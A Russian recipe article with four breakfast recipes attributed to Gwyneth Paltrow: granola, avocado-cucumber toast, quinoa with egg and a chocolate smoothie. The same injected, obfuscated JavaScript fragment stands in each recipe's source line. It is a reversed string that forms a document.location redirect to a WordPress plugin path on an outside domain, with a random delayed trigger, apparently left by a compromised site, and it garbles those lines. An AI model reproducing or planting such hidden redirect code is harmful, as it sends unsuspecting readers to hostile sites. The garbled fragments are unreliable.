4 рецепта полезного завтрака от Гвинет Пэлтроу

Гвинет Пэлтроу уверена, что правильный завтрак — основа здорового образа жизни. Поэтому вместо хлопьев с молоком и бутерброда с маслом актриса начинает свой день с гранолы, киноа, тоста с огурцом и шоколадного смузи. Как их быстро приготовить — рассказывает Настя Юренкова.

ГВИНЕТ ПЭЛТРОУ: «Я ГОТОВЛЮ, КАК НАСТОЯЩАЯ ЕВРЕЙСКАЯ МАМА, А ПОТОМ ТРЕНИРУЮСЬ ПЯТЬ РАЗ В НЕДЕЛЮ»

 

ВСЁ ПРОСТО: РЕЦЕПТ ВКУСНЕЙШЕЙ КАРБОНАРЫ ОТ ГВИНЕТ ПЭЛТРОУ

Гранола

4 рецепта полезного завтрака от Гвинет Пэлтроу. Изображение номер 1

Фото: naturallyella.com

4 рецепта полезного завтрака от Гвинет Пэлтроу

СЛОЖНОСТЬ РЕЦЕПТА:

ВРЕМЯ ПРИГОТОВЛЕНИЯ:

1 ЧАС

КОЛИЧЕСТВО ПОРЦИЙ:

12 порций

КАЛОРИЙНОСТЬ:

353 ккал

353 calories

Рецпет с сайта fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru

PT1H

PT1H

Ингредиенты

Овсяные хлопья

180 г

Гречневая крупа

80 г

Кокосовая стружка

70 г

Грецкие орехи (молотые)

65 г

Семена льна

40 г

Кокосовое масло (растопленное)

50 г

Кленовый сироп

3—4 ст. л.

Кардамон (молотый)

¼ ч. л.

Гвоздика (молотая)

¼ ч. л.

Морская соль

1 ч. л.

  1. Разогрейте духовку до 120 градусов.
  2. Все ингредиенты добавьте в одну миску и хорошо перемешайте.
  3. Распределите равномерно смесь по противню, застеленному бумагой для выпечки.
  4. Запекайте около часа, периодически помешивая.

 

Эту гранолу можно хранить в стеклянной банке до двух недель.

Тост с авокадо и огурцом

4 рецепта полезного завтрака от Гвинет Пэлтроу. Изображение номер 2

Фото: goop.com

4 рецепта полезного завтрака от Гвинет Пэлтроу

СЛОЖНОСТЬ РЕЦЕПТА:

ВРЕМЯ ПРИГОТОВЛЕНИЯ:

5 МИНУТ

КОЛИЧЕСТВО ПОРЦИЙ:

1 порция

КАЛОРИЙНОСТЬ:

243 ккал

243 calories

Рецпет с сайта fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru

PT1H

PT1H

Ингредиенты

Цельнозерновой хлеб

1 шт.

Огурец

1 шт.

Авокадо

¼—½ шт.

Сыр Фета

1—2 ст. л.

Мята

6 листочков

Цедра лимона

¼ ч. л.

Лимонный сок

по вкусу

Оливковое масло

по вкусу

Перец чили (молотый)

по вкусу

Чёрный перец (молотый)

по вкусу

Соль

по вкусу

  1. Поджарьте хлеб в тостере, на сковороде без масла или в духовке.
  2. Нарежьте огурец на тонкие полоски. Для этого можно использовать нож для чистки овощей.
  3. Сложите нарезанный огурец в миску, добавьте лимонную цедру, листья мяты, фету и приправьте солью, перцем, лимонным соком и оливковым маслом по вкусу.
  4. Нарежьте авокадо на дольки и выложите на тост. Добавьте щепотку соли.
  5. Выложите на тост получившийся огуречный салат и приправьте щедрой щепоткой чили.

Киноа с яйцом

4 рецепта полезного завтрака от Гвинет Пэлтроу. Изображение номер 3

Фото: allwomenstalk.com

4 рецепта полезного завтрака от Гвинет Пэлтроу

СЛОЖНОСТЬ РЕЦЕПТА:

ВРЕМЯ ПРИГОТОВЛЕНИЯ:

5 МИНУТ

КОЛИЧЕСТВО ПОРЦИЙ:

1 порция

КАЛОРИЙНОСТЬ:

331 ккал

331 calories

Рецпет с сайта fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru

PT1H

PT1H

Ингредиенты

Киноа (готовая)

90 г

Кейл (или шпинат)

30—50 г

Яйцо

1 шт.

Зелёный лук

1 перо

Чеснок

1 зубчик

Оливковое масло

2 ст. л.

Чёрный перец (молотый)

по вкусу

Соль

по вкусу

  1. Разогрейте в сковороде оливковое масло вместе с измельчённым чесноком. Добавьте нарезанную зелень кейла или шпината и готовьте около 2 минут.
  2. Добавьте предварительно отваренную киноа и готовьте ещё около 2—3 минут.
  3. В это время приготовьте глазунью из одного яйца или яйцо пашот.
  4. Выложите киноа в миску, сверху положите приготовленное яйцо и посыпьте всё мелко нарубленным луком. Посолите и поперчите по вкусу.

Шоколадный смузи

4 рецепта полезного завтрака от Гвинет Пэлтроу. Изображение номер 4

Фото: joyoushealth.com

4 рецепта полезного завтрака от Гвинет Пэлтроу

СЛОЖНОСТЬ РЕЦЕПТА:

ВРЕМЯ ПРИГОТОВЛЕНИЯ:

5 МИНУТ

КОЛИЧЕСТВО ПОРЦИЙ:

1 порция

КАЛОРИЙНОСТЬ:

346 ккал

346 calories

Рецпет с сайта fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru

PT1H

PT1H

Ингредиенты

Миндальное молоко

100—150 мл

Вода

100—150 мл

Банан (замороженный)

½ шт.

Авокадо

¼ шт.

Протеин (порошок)

3 ст. л.

Какао-порошок без сахара

1 ст. л.

Мёд

1 ч. л.

Кокосовое масло

1 ч. л.

Лёд

2—4 кубика

  1. Взбейте все ингредиенты в блендере до состояния смузи.
Оцените статью
Дежурная Качалка
Добавить комментарии

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!:

Adblock
detector